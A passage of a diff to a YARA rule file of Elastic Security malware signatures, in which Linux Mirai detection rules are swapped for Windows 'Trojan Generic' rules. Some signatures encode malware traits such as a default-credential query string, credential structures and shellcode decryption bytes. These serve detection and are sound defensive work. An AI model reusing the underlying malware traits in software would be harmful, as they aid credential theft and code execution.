-		logic_hash = "67973257e578783838f18dc8ae994f221ad1c1b3f4a04a2b6b523da5ebd8c95b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa"
+		logic_hash = "72bfefc8f92dbe65d197e02bf896315dcbc54d7b68d0434f43de026ccf934f40"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "4bad14aebb0b8c7aa414f38866baaf1f4b350b2026735de24bcf2014ff4b0a6a"
-		severity = 100
+		fingerprint = "6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0"
+		severity = 25
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 53 83 EC 04 8B 5C 24 18 8B 7C 24 20 8A 44 24 14 8A 54 24 1C 88 54 }
+		$a = "_kasssperskdy" wide fullword
+		$b = "[Time:]%d-%d-%d %d:%d:%d" wide fullword
+		$c = "{SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}" wide fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ac253E4F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_Ae824B13 : REF1296 FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "ac253e4f-b628-4dd0-91f1-f19099286992"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ae824b13-eaae-49e6-a965-ff10379f3c41"
+		date = "2022-02-03"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1303-L1321"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9"
-		logic_hash = "1ab463fce01148c2cc95659fdf8b05e597d9b4eeabe81a9cdfa1da3632d72291"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L23-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "cee46c1efdaa1815606f932a4f79b316e02c1b481e73c4c2f8b7c72023e8684c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea"
+		quality = 67
+		tags = "REF1296, FILE, MEMORY"
+		fingerprint = "8658996385aac060ebe9eab45bbea8b05b9008926bb3085e5589784473bc3086"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D }
+		$a1 = { 31 31 34 2E 31 31 34 2E 31 31 34 2E 31 31 34 }
+		$a2 = { 69 6E 66 6F 40 63 69 61 2E 6F 72 67 30 }
+		$a3 = { 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 33 3B 20 57 4F 57 36 34 29 20 41 70 70 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 35 30 2E 30 2E 32 36 36 31 2E 39 34 20 53 61 66 61 72 69 2F 35 33 37 2E 33 36 }
+		$a4 = { 75 73 65 72 25 33 64 61 64 6D 69 6E 25 32 36 70 61 73 73 77 6F 72 64 25 33 64 64 65 66 61 75 6C 74 25 34 30 72 6F 6F 74 }
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_994535C4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_Eb47E754 : REF1296 FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "994535c4-77a6-4cc6-b673-ce120be8d0f4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "eb47e754-9b4d-45e7-b76c-027d03326c6c"
+		date = "2022-02-03"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1323-L1341"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "376a2771a2a973628e22379b3dbb9a8015c828505bbe18a0c027b5d513c9e90d"
-		logic_hash = "c83c8c9cdfea1bf322115e5b23d751b226a5dbf42fc41faac172d36192ccf31f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L45-L65"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1d96e813ed0261bd0d7caca2803ed8d5fe4d77ea00efc9130eef86aa872c4656"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a3753e29ecf64bef21e062b8dec96ba9066f665919d60976657b0991c55b827b"
+		quality = 67
+		tags = "REF1296, FILE, MEMORY"
+		fingerprint = "b71d13a34e5f791612ed414b8b0e993b1f476a8398a1b0be39046914ac5ac21d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 74 07 31 C0 48 FF C3 EB EA FF C0 83 F8 08 75 F4 48 8D 73 03 }
+		$a1 = { 41 20 61 74 20 4C 20 25 64 }
+		$a2 = { 74 63 70 69 70 5F 74 68 72 65 61 64 }
+		$a3 = { 32 30 38 2E 36 37 2E 32 32 32 2E 32 32 32 }
+		$a4 = { 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 33 3B 20 57 4F 57 36 34 29 20 41 70 70 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 35 37 2E 30 2E 32 39 38 37 2E 31 33 33 20 53 61 66 61 72 69 2F 35 33 37 2E 33 36 }
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_A68E498C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_C7Fd8D38 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "a68e498c-0768-4321-ab65-42dd6ef85323"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "c7fd8d38-eaba-424d-b91a-098c439dab6b"
+		date = "2022-02-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1343-L1361"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
-		logic_hash = "e4552813dc92b397c5ba78f32ee6507520f337b55779a3fc705de7e961f8eb8f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L67-L89"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a1702ec12c2bf4a52e11fbdab6156358084ad2c662c8b3691918ef7eabacde96"
+		logic_hash = "81c56cd741692a7f2a894c2b8f2676aad47f14221228b9466a2ab0f05d76c623"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883"
+		fingerprint = "dc14cd519b3bbad7c2e655180a584db0a4e2ad4eea073a52c94b0a88152b37ba"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D }
+		$a1 = "PCREDENTIAL" ascii fullword
+		$a2 = "gHotkey" ascii fullword
+		$a3 = "EFORMATEX" ascii fullword
+		$a4 = "ZLibEx" ascii fullword
+		$a5 = "9Root!" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_88De437F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_Bbe6C282 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "88de437f-9c98-4e1d-96c0-7b433c99886a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "bbe6c282-e92d-4021-bdaf-189337e4abf0"
+		date = "2022-03-02"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1363-L1381"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
-		logic_hash = "233dbf3d13c35f4c9c7078d67ea60086355c801ce6515f9d3c518e95afd39d85"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L91-L109"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a44c46d4b9cf1254aaabd1e689f84c4d2c3dd213597f827acabface03a1ae6d1"
+		logic_hash = "fe874d69ae71775cf997845c90e731479569e2ac1ac882a4b8c3c73d015b1f30"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea"
+		fingerprint = "e004d77440a86c23f23086e1ada6d1453178b9c2292782c1c88a7b14151c10fe"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0 }
+		$a1 = { 00 D1 1C A5 03 08 08 00 8A 5C 01 08 08 00 8A 58 01 2E 54 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_95E0056C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_889B1248 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "95e0056c-bc07-42cf-89ab-6c0cde3ccc8a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "889b1248-a694-4c9b-8792-c04e582e814c"
+		date = "2022-03-11"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1383-L1401"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45f67d4c18abc1bad9a9cc6305983abf3234cd955d2177f1a72c146ced50a380"
-		logic_hash = "9e34891d28034d1f4fc3da5cb99df8fc74f0b876903088f5eab5fe36e0e0e603"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L111-L132"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a48d57a139c7e3efa0c47f8699e2cf6159dc8cdd823b16ce36257eb8c9d14d53"
+		logic_hash = "b3bb93b95377d6c6606d29671395b78c0954cc47d5cc450436799638d0458469"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "a2550fdd2625f85050cfe53159858207a79e8337412872aaa7b4627b13cb6c94"
+		fingerprint = "a5e0c2bbd6a297c01f31eccabcbe356730f50f074587f679da6caeca99e54bc1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 50 46 00 13 10 11 16 17 00 57 51 47 50 00 52 43 51 51 00 43 }
+		$a1 = "BELARUS-VIRUS-MAKER" ascii fullword
+		$a2 = "C:\\windows\\temp\\" ascii fullword
+		$a3 = "~c~a~n~n~a~b~i~s~~i~s~~n~o~t~~a~~d~r~u~g~" ascii fullword
+		$a4 = "untInfector" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_B548632D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_02A87A20 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "b548632d-7916-444a-aa68-4b3e38251905"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "02a87a20-a5b4-44c6-addc-c70b327d7b2c"
+		date = "2022-03-04"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1403-L1421"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "639d9d6da22e84fb6b6fc676a1c4cfd74a8ed546ce8661500ab2ef971242df07"
-		logic_hash = "bfb46457f8b79548726e3988d649f94e04f26f9e546aae70ece94defae6bab8a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L134-L152"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
+		logic_hash = "610db1b429ed2ecfc552f73ed4782cb56254e6fc98b728ffeff6938fbcce9616"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8b355e9c1150d43f52e6e9e052eda87ba158041f7b645f4f67c32dd549c09f28"
+		fingerprint = "fb25a522888efa729ee6d43a3eec7ade3d08dba394f3592d1c3382a5f7a813c8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 0B 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A }
+		$a1 = { 24 3C 8B C2 2B C1 83 F8 01 72 3A 8D 41 01 83 FA 08 89 44 24 38 8D 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_E0Cf29E2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_4Fbff084 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Shellcode found in REF2924, belonging to for now unknown trojan"
 		author = "Elastic Security"
-		id = "e0cf29e2-88d7-4aa4-b60a-c24626f2b246"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4fbff084-5280-4ff8-9c21-c437207231a5"
+		date = "2023-02-28"
+		modified = "2023-04-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1423-L1440"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "693e27da8cbab32954cc2c9ba648151ad9fc21fe53251628145d7b436ec5e976"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L154-L175"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7010a69ba77e65e70f4f3f4a10af804e6932c2218ff4abd5f81240026822b401"
+		logic_hash = "47d1a01e0edee3239d99ff1f32eb4cfc77d6e38823fed799a562e142d3d3a22d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f"
+		fingerprint = "728d7877e7a16fbb756b1c3b6c90ff3b718f0f750803b6a1549cb32c69be0dfc"
+		threat_name = "Windows.Trojan.Generic"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01 }
+		$string_decryption = { 8A 44 30 ?? 8A CD 88 45 ?? 32 C5 C0 C1 ?? 88 04 3E 0F B6 C5 0F B6 D9 0F AF D8 0F B6 C1 0F B6 D1 88 6D ?? 0F AF D0 0F B6 C5 0F B6 CD 0F AF C8 8A 6D ?? 8A 45 ?? C0 CB ?? 02 D1 32 DA 02 EB 88 6D ?? 38 45 ?? 74 ?? 8B 45 ?? 46 81 FE ?? ?? ?? ?? 7C ?? }
+		$thread_start = { E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? BB ?? ?? ?? ?? 50 6A ?? 5A 8B CF 89 5C 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 89 5C 24 ?? 50 6A ?? 5A 8B CF E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 89 5C 24 ?? 50 6A ?? 5A 8B CF E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 89 5C 24 ?? 50 6A ?? 5A 8B CF E8 ?? ?? ?? ?? }
+		$resolve = { 8B 7A ?? 8D 5D ?? 85 FF 74 ?? 0F B7 0F 8D 7F ?? 8D 41 ?? 83 F8 ?? 77 ?? 83 C1 ?? 0F B7 33 83 C3 ?? 8D 46 ?? 83 F8 ?? 77 ?? 83 C6 ?? 85 C9 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_1754B331 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_73Ed7375 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "1754b331-5704-43c1-91be-89c7a0dd29a4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "73ed7375-c8ab-4d95-ae66-62b1b02a3d1e"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1442-L1460"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d89fc59d0de2584af0e4614a1561d1d343faa766edfef27d1ea96790ac7014b"
-		logic_hash = "fde04b0e31a00326f9d011198995999ff9b15628f5ff4139ec7dec19ac0c59c9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L177-L196"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2b17328a3ef0e389419c9c86f81db4118cf79640799e5c6fdc97de0fc65ad556"
+		logic_hash = "7e27c9377d0b2058a2a36da4ac7d37a54c566f3246e69aa356171edae6b478c5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "35db945d116a4c9264af44a9947a5e831ea655044728dc78770085c7959a678e"
+		fingerprint = "a026cc2db3bfebca4b4ea6e9dc41c2b18d0db730754ef3131d812d7ef9cd17d6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CF 07 66 5F 10 F0 EB 0C 42 0B 2F 0B 0B 43 C1 42 E4 C2 7C 85 }
+		$a1 = { 48 8B 03 48 8B CE 49 8D 54 04 02 41 FF D6 48 89 03 48 83 C3 08 48 }
+		$a2 = { 41 3C 42 8B BC 08 88 00 00 00 46 8B 54 0F 20 42 8B 5C 0F 24 4D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3278F1B8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_96Cdf3C4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "3278f1b8-f208-42c8-a851-d22413f74dea"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "96cdf3c4-6f40-4eb3-8bfd-b3c41422388a"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1462-L1480"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
-		logic_hash = "4d709e8e2062099ac06b241408e52bcb86bbf8163faaffbcff68a05f864e1b3f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L198-L217"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9a4d68de36f1706a3083de7eb41f839d8c7a4b8b585cc767353df12866a48c81"
+		logic_hash = "f92e5549aca320d71e1eec8daa82e8bbf3517c7f23f376bb355fdfa32da2e7a9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7e9fc284c9c920ac2752911d6aacbc3c2bf1b053aa35c22d83bab0089290778d"
+		fingerprint = "1037576e2c819031d5dc8067650c6b869e4d352ab7553fb5676a358059b37943"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D2 0F B6 C3 C1 E0 10 0F B6 C9 C1 E2 18 09 C2 0F B6 44 24 40 C1 }
+		$a1 = { 74 24 28 48 8B 46 10 48 8B 4E 18 E8 9A CA F8 FF 84 C0 74 27 48 8B 54 }
+		$a2 = { F2 74 28 48 89 54 24 18 48 89 D9 48 89 D3 E8 55 40 FF FF 84 C0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ab804Bb7 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_F0C79978 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "ab804bb7-57ab-48db-85cc-a6d88de0c84a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f0c79978-2df9-4ae2-bc5d-b5366acff41b"
+		date = "2023-07-27"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1482-L1500"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8f0cc764729498b4cb9c5446f1a84cde54e828e913dc78faf537004a7df21b20"
-		logic_hash = "cef2ffafe152332502fb0d72d014c81b90dc9ad4f4491f1b2f2f9c1f73cc7958"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L219-L238"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8f800b35bfbc8474f64b76199b846fe56b24a3ffd8c7529b92ff98a450d3bd38"
+		logic_hash = "b16971ed0947660dda8d79c11531a9498a80e00f2dbc2c0eb63895b7f5c5f980"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b9716aa7be1b0e4c966a25a40521114e33c21c7ec3c4468afc1bf8378dd11932"
+		fingerprint = "94b2a5784ae843b831f9ce34e986b2687ded5c754edf44ff20490b851e0261fc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 4A 75 05 0F BE 11 01 D0 89 C2 0F B7 C0 C1 FA 10 01 C2 89 D0 C1 }
+		$a1 = "\\IronPython."
+		$a2 = "\\helpers\\execassembly_x64"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Dca3B9B4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_40899C85 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "dca3b9b4-62f3-41ed-a3b3-80dd0990f8c5"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "40899c85-bb49-412c-8081-3a1359957c52"
+		date = "2023-12-15"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1502-L1520"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a839437deba6d30e7a22104561e38f60776729199a96a71da3a88a7c7990246a"
-		logic_hash = "f85dfc1c00706d7ac11ef35c41c471383ef8b019a5c2566b27072a5ef5ad5c93"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L240-L260"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88eb4f2e7085947bfbd03c69573fdca0de4a74bab844f09ecfcf88e358af20cc"
+		logic_hash = "317034add0343baa26548712de8b2acc04946385fbee048cea0bd8d7ae642b36"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b0471831229be1bcbcf6834e2d1a5b85ed66fb612868c2c207fe009ae2a0e799"
